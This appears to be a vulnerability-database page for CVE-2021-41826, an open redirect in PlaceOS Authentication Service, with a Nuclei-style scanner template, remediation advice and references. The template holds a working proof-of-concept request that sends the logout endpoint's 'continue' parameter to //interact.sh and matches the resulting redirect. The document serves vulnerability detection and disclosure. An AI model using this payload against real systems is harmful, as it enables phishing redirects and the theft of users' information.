CVE-2021-41826: PlaceOS 1.2109.1 - Open Redirection

2025-08-01 PlaceOS PoC Public

Description

PlaceOS Authentication Service before 1.29.10.0 allows app/controllers/auth/sessions_controller.rb open redirect.

PoC

id: CVE-2021-41826

info:
  name: PlaceOS 1.2109.1 - Open Redirection
  author: geeknik
  severity: medium
  description: PlaceOS Authentication Service before 1.29.10.0 allows app/controllers/auth/sessions_controller.rb open redirect.
  impact: |
    An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks or the theft of sensitive information.
  remediation: |
    Apply the latest security patch or update to PlaceOS 1.2109.2 or higher to fix the open redirection vulnerability.
  reference:
    - https://github.com/PlaceOS/auth/issues/36
    - https://www.exploit-db.com/exploits/50359
    - https://nvd.nist.gov/vuln/detail/CVE-2021-41826
    - http://packetstormsecurity.com/files/164345/PlaceOS-1.2109.1-Open-Redirection.html
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-41826
    cwe-id: CWE-601
    epss-score: 0.12056
    epss-percentile: 0.95924
    cpe: cpe:2.3:a:place:placeos_authentication:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: place
    product: placeos_authentication
  tags: cve2021,cve,redirect,edb,packetstorm,placeos,place,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/auth/logout?continue=//interact.sh"

    matchers-condition: and
    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh.*$'

      - type: status
        status:
          - 302
          - 301
        condition: or
# digest: 4a0a0047304502200d006842fec7849bc7c47c2c69411a6ed1b86528cbbdb9b4572b23694e2cb7ce022100d23b89341cfbb35148504d0c5e611f1b328051c77c68be63be05e212fabd6b0e:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities